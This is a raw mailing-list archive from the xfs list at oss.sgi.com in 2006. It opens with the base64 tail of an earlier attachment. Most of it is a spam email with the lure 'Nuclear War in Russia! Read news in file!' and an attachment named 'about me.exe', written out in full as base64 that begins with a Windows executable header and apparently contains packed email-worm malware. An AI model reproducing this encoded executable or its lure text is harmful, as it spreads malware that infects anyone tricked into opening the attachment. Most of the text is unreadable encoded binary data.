kBVeUAUAVJmR0yvBpDRjzruzz07VmzRDlid4QigfOc89hRcVh+XjzsT94B8u KLjQsY/e2+VygU/NnjNMRF53JKwsqL1I70gFdhIwIby1b360DHFw0ACkk9A7 daY7ixELCCzc4yWpJktDVR+rv8uc4q0KwGVhJsx92gRMmEX5uue1AEySEA46 9BVXECkRrkcsepoTCxWuJpI49y/eJwKLjtYux/u4xk5IFNElW5leWYQrwDyW 7VIx0kvlqOMAdMelO4xHdJYA5BVhxk0mBVlQm1WOHEYY8e1TewxY18qJ06Yw CKAGAkStt4BAy3ehgHnopiKjGTigTC5jMjFgcKpHTrQIXjzDggfLnJ4FSaWK 0reeFR9odeBj+dO4rC20e5SnymRerEdaQETsyy43cKM9OKAuTIcEIUUr1yOh pDRBKu/LBWWMMTgHNNAMEjscIAyDkj0oESuE89g6538qtJgKfMfBUhFxgjNC GQNIEIDsNtMLjyqCIlflXbwT3+lAiGErIEaVCVFFwJZYRPMGdGVcZwetZxZs RpAg3FRyO3pTYJDrZ3UYDKAvO7vQwRYX94pkjdsqcYbvU3HYddTTTRJCqKnf Oe1PYQQgQpsHzcZzSbArNMyfLycn8hVpXjzEtltBvjyrqR2ApO99CmPid4Zi zruyOAKNXo9hEZlaZQCQkRbkd6FbZAXUmaC8wB+6xxUx5bXtYZrpcrt+XpTW q03E0SQ3nzqgHWnYRa3HceaLASjGBjkmkIibl+OBQIY0mTjNMBkj7So7Dk0w Gy3AVc5oEU57jcS2e+KYCWkrzTFVGRUlG9bwiMgseaBI0ouQMUwZJjmhEpjk zTQD2G0cVQhozjik0AHim2AFuMUxDc4PFMBC2aYhrEigCMvxg1SYiqx2Scci gCC4OcgjIFIDIufkY46VJVjPkct0607gQld5+Zc/0qGiiVCCMBDtVvzouCI1 M8xdQMPjDdMUXGNRJbd/LIVyoyTnigBhYmEhGLTBT93oKAD7PCscYIZnTuT1 NSOwLJIkXlS42OSMCmIQEKNoT5M8g+lICRLczSr9oRTz8qntincTBkLSwyR8 4OOe9UIl2OTIwB2gdPegQ2TKOI1bOOTilcYnmoI0zJgnsKEx2DarsAx/dg56 5poGSPIVCnOQTg8UyUhNuHlYcr2pIBpdvNUphv6UNjGvIDI8LLjcM496dwFJ AiUbjuJyDUsCHJYOTy3VsU2BDl23q+F4yopDJAmSoZeV4GO9IbJFdVkDBCex FMVit55kUoRgjpiiwyRVjaeTch3lcZHQmkIhMiGTzEjwAuGJPQ0MZDKxWcPG dxxznpihCsSBJhCJN43entQMaytGrqjbZT1B6U0JkeAsSNu2uRhlHOSDQ0BL GBJOzAhxtHJ/hpWAYx82TavCHqO9LYY0WiFkffgNnFNCJOiSAR4QDOMUBcjj ZUjj2Jjby3vRYLE13mJ98kpdz93FZRNWVplG1Y43bfJ1JNUhsjt4xHlGkBND JRZiIS0+9tYNxnqaSLHzIZYFfcwIG3HrRcQ4lkswGRiUHBPFFgK1uWd3Ljar HC5FN6CLRtvsz7kkHycYHele4Cum11kDHa/G3PU+tA7C28AQBnOXPO0/w0gS FaWWRmbGNpwAaoCwJysaqwxxjj1oEbFkY0UDOfegVixLMrEBDj3zTRILcBRg N0osMPtHpxTsJkEt2sYLPxRYERPcqVUilYDNu7/EmB2ppDKq3m232NndnOaZ JqabOFVdinJH3qkaOltkXCszFifU0DL6NgACgknB3LzTESoABxVAxrnnFAhM 4HFAATleKYDc5HFArjc9KYDScHjpTEIZBjGKYFdm5IzQkIrysetO4EEsmQMe lILGXdNjIqWNGVMzNna2KRSEQvsIwc7aEUJJI0kzByVjCg4B5pCsCuQd3mEL J19aLjsQPK8t0Qjs0a4LgnrQyhVmkfFwCEjU7eOtIlhI0jqQgxj5s92oGI6E qrDh+nXvSBE8JZnAk+VY179z600IsiRRLHATh9uS9CAYItyIIOBG3OTyTRck nQBN6g7uMntg0XHYroA0cmw7cnlvWmx2EeNOVZQVVQEx696QEiDyrc7sMSfw xTQFaWZBKitwp65oEShi67UIKg9qVwsJHA6MzpNtIPAouFhdoM67mJIBUgj9 aEBWmlSBADIWxyQeuaYEJklkQtEQqngnuRQFyaGLzUj+cHnknrSYIc5LNhHI 2cgkUDHDaIx5ZyedxIoEQTjyJFKKDu5/GgLjE3PHtP3yMjFAXEdPMeKJhs3D nnvTuAPb7du35R0JNJgNdnhtArEtzwe2KEMgVzM8ZYFgGC/WmSTvCC7sHVEX +E0iiEoWkDkhd3UL2FFwHkpDOQVwrD5Wp7k2FQRzLHFkgrnNGwxz3DAOoyU3 DNJARNJ5xeYgKhHQcflQxodeFmhXkMT0xWaRpIjIWSGIsrEoeR0ouMRYilyz KoGBnrTJTHlneLzGTeemaB3FGPJG9idpztouBLHIkyEuGIX7opWGNQNktJ/q +qrT3JCGaLduX5tx+bPSi1ihLhLjzt4xgEbQD0pcwMfIrO8bLwwPLDuKdySe R83DMG+QDAHqaVxjJLqFMIVLNu6inYRcicxwv8+AegHUUkxkZluWXYzBTjIO Kq5NiKK6mj8yVlPloO5/lTQDpL2ZpERDhH6n0qhMjvWMkTu0meQGA71NwQhJ 8jfExBVeQe9FxldWMjD3+960ANPyzNDwYj0HpQmBoWZaR44kcxxqMnHekwR2 FofkWpQzRQ44piJwe1USTKcDFUKwmecUEt2EbnigY3PymmAinFMkYT1FMLjG PGaYEZYjp0pAQOcE1QiJjxikwsU5DmgZQuBuGG69jSYJmTMVyQcgjvUFojR5 NwC/MAKEApSQlVG4v3wOcUDEgWONmC88YPBxmiwyJYcMGZNob+7wDQK46R0h ZIYhl92cHtQBPtYKWZ9oXoB1JpWEMyPMCMMtnIApWKRIRiQEvk4OFqkInjWY sZEIZiMDPAqUBKDMBv8ALU7mxjPU1QisHdy8bffVdpx3NA7ksRwI0fCnqVpD IvNYTOFTIHJIPIpom42EESGSVsq331PH0NCBDZovOvYWbhU4YN0PpQNk4eKO EL0VWI4FArDZABMxWbKqMj1oCwi5SPzGLEluQemKSAZc28T7nKhtp+UjmmFi G4PkiGVNoHoKSBD9u24VD0PPHvQO9h0iKYZGR+PUUCIYvLiQgsxRxjI5oEIZ 2mEkbouWwFJHX/CmMd9n8qFZUbDYwQD0pAB/cRuJQexzmhARtLGylD8+V+UU 7AR5MkSBwWUHgk9qSAWNWiJXKlCwIWgCJhDGzLI5GSSSe5osMajqi4TlHORi gB8oFwyD+GPnBoWgiaFo4iVZcFxnpnAo3HYrgtskSNSIycH1NFyRwjRXAmQj avyii40NTbCFMkgLdcVmtTYdn7ZvKjYEOMetGwEqpLE+QBjHzYoCxGhiluNn mkKvOB3oAlUxwxyMrDg9WHNCVwGQrNMqhF2qW5NGxK0JJEWNY9+0quRjqTRY diOIRPJ5a8ADd93oaLDsLFNM85DAALkbsdaLANkQCRNkjEk0bAJGsZm8yUsu 09SeKdySZigk3RqGXPyk96ViiRYzIz7h8yjIHamTYrhWmkUOxXDYDf0pp2Cx feUyt9kSMFe7EVKHYhMJ89cR/JHw3PWmKxJtzGTHh1PQY6UgI1WWOOQMV29t vOaY0MdsRKsRGf41A6UWsDQxo1BCxIw7lsZ4o2FYv6RAVmZx8y9AxFDHY6q1 XGCTmkgsaC4xxzTIJFbHWqTEyYOCuBVCFBxmmIQnDcUANJxxTAYW5piGMcGm hDCe1FgI5GwuAadhFRpOcUXGQszDIoGQTcc+tAjNuXxkVDCJmEK8mXPToPWl Y0GxsscJQOAw4bPagBZJ8KZIu/G6kNsWUIxIBynbHXNAhsbhYlkYkydDz9yg LgI0+1I2cnr9aEFhQUMxAbnPbpQwHykLmVQSeRg0gCHdEUlMW4nnBNMRPvKy YSPDHJK+poGhJJcRw+UpJOc+ue9AhxkKIrbcAY3Y6igBsjLbwmU/eI7tmgCO GZ2ct5e2Lbjdjgn1oAlWFTtkZdxDYAxyRUgHl+Xvb7pLgfhVFEUk67vLRQFP P0pCZDK4+0IA5+YYHOPrQhFlfmDQ/wAK4DH2NAxIoTCAC3ypkZPcUxDfIRH3 SfMrHBUjv60gIrl2iSMpDgr3zTAmMuUKEZVxkketSgsOKlG3KBs24OKYFN2K r5ifOo4/WiwyZH8wBzxxggd6YmxjkvGBsy/oPSkBHMQkcanCd1x1FAWIGBNu Zt+/5sbPb1oQ2FuFcqX4A5znrTJJi3yMGVRgHNTYq5BE2GACKPl64/WgViWG aNleQkKYzilYB3nIv7xGBBHXvn0p2BEfmzRv84x8uOB0p3GL5ZSRJDIrbh8p PIoERyQnUlZlPloP4sVCdjZkcMU1vC22QFB1PSne5KLgmR7RmAIJIyPWp2Ku QSwyQ7Zo1C55waBEb5eQxKwzKMn2prQTLaMbWzKb8ndkcdKLXKK8qSFomQHD YZh3poTLUEQhuZZTyCMbWqW7DRHPIRIoCjaw6CmAowkirIdx28GiwEnlrv2l 8g8gGkIqx7PN24LRg4GDTAkdGgmLl28onB2mmhE5aE+WFQ4NFgLcsOw+Yj8D qKlDILdTMdyOY0JwT13UwHMzwx+XtwqnB96QIZGg81klYjJ+UKaYAtsykuFB RicZOD+NLmEkII5SC6MMDjae9Mdi/pkUkjLFkrt5YjvUgdTEoWMACmBaj+7g VViGSYxxQSOj461aAkJ5xVWENOKAYjHFBI0j0qgInJBxQhkbEg+1MkrynC5F MZCR3FKwiFm2nihDK07YTjmkwRkXEu4lcGoKSK0cIGT1OetFykAt0aUNJ8oK nK9PzoAfPD5jLbxcAfM2Oi0hEGzdIFi+RR98n1oGiVEEg2DGQcelNgVZlaJD kY5xu6kUhoswr5MQAdDlcg9/xoENkR9wf7ikDIpMCVAWYBDkx9KaHYtK2xwm 7DgnJxjHFMluw5VaJoxkEHk460gI3hDkkD5FbknqR6UAQXhjVuOUPAX0oHYS 2k27oXyUYd6BXHzXLhUcFiWPAHFCAbMZpeN+A2OM0MBkViYFlZnDEd89qQJj 2iQwYypwNyk+3ahDsJBJEIFlMWMrlm9DQIc8oZDCz5VxncOlMCqZZiEYvlmx tH0oAkeaO5jBkLbh044zQBOVGE2NjPykdqSC424fyiqIpI6Ng0wK3kNGrk8b Pm+oqRjpjGqIiZETMMEdeTTsJojkZVlVU3s/8qY7Fdm8yQoyYboCT0oAcZCs yRkYXHOOmKSAc0Sqr4UA9VoBDH8uOID+AjGKBAkiyRhUbEmcZxxRYZLDFMwn VwoJ4NIQ0wExtI5BSL7vHemCARzB3V3Vi6ZyRjbSGQbTLOyLy0fOegpgf//Z --_----------=_1162297196135381-- From owner-xfs@oss.sgi.com Tue Oct 31 12:07:42 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 31 Oct 2006 12:07:48 -0800 (PST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9VK7eaG025975 for ; Tue, 31 Oct 2006 12:07:42 -0800 From: Rachel16@oss.sgi.com X-ASG-Debug-ID: 1162320708-27086-10-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from (cpe-24-168-55-22.si.res.rr.com [24.168.55.22]) by cuda.sgi.com (Spam Firewall) with SMTP id DB4F6D1AE7D1 for ; Tue, 31 Oct 2006 10:51:48 -0800 (PST) X-ASG-Orig-Subj: ATTN Subject: ATTN MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="tNlILiuVmuPusdnMBeh" Message-Id: <20061031185148.DB4F6D1AE7D1@cuda.sgi.com> Date: Tue, 31 Oct 2006 10:51:48 -0800 (PST) X-Barracuda-Spam-Score: 1.58 X-Barracuda-Spam-Status: No, SCORE=1.58 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MISSING_HEADERS, MSGID_FROM_MTA_ID, NO_REAL_NAME, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24668 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 0.70 MSGID_FROM_MTA_ID Message-Id for external message added locally 0.19 MISSING_HEADERS Missing To: header 0.13 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; X-archive-position: 9505 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: Rachel16@oss.sgi.com Precedence: bulk X-list: xfs Status: O This is a multi-part message in MIME format. --tNlILiuVmuPusdnMBeh Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Nuclear War in Russia! Read news in file! --tNlILiuVmuPusdnMBeh Content-Type: application/octet-stream; name= "about me.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename= "about me.exe" TVmQAAMAAAAEAAAA/v8AA7gAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAABtZgAAyAAAAA4fug4AtAjNILgBT80hVGhpcyBwcm9ncmFt IGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAA/70ygzvrJG Y76yRm+/skZgf70bY7OyRm+/skdg8rJGY5h0O2++skZgmHQoY7WyRm+YdD5g vbJGYFJpY2e/skZgAAAAAAAAAABQRQAATAEDAHsuRkUAAAAAAAAAA+AAAwEL AQgAAEAAAAAQAAAAgAAAU8EAAA+QAAAA0AAAAABAAAAQAAAAAgAABAAAAAAA AAAEAAAAAAAAAA/gAAAAEAAAAAAAAAIAAAQAABgAABAIAAAAEAAAEAAAAAAA ABAAAAAAAAAAAAAAAA/WAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQ WDAAAAAAA4AAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAA6AAA+BVUFgxAAAA AABAAAAAkAAAADQAAAAEAAAAAAAAAAAAAAAAAABgAA/gVVBYMgAAAAAAEAAA A9AAAEsGAAAAOAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 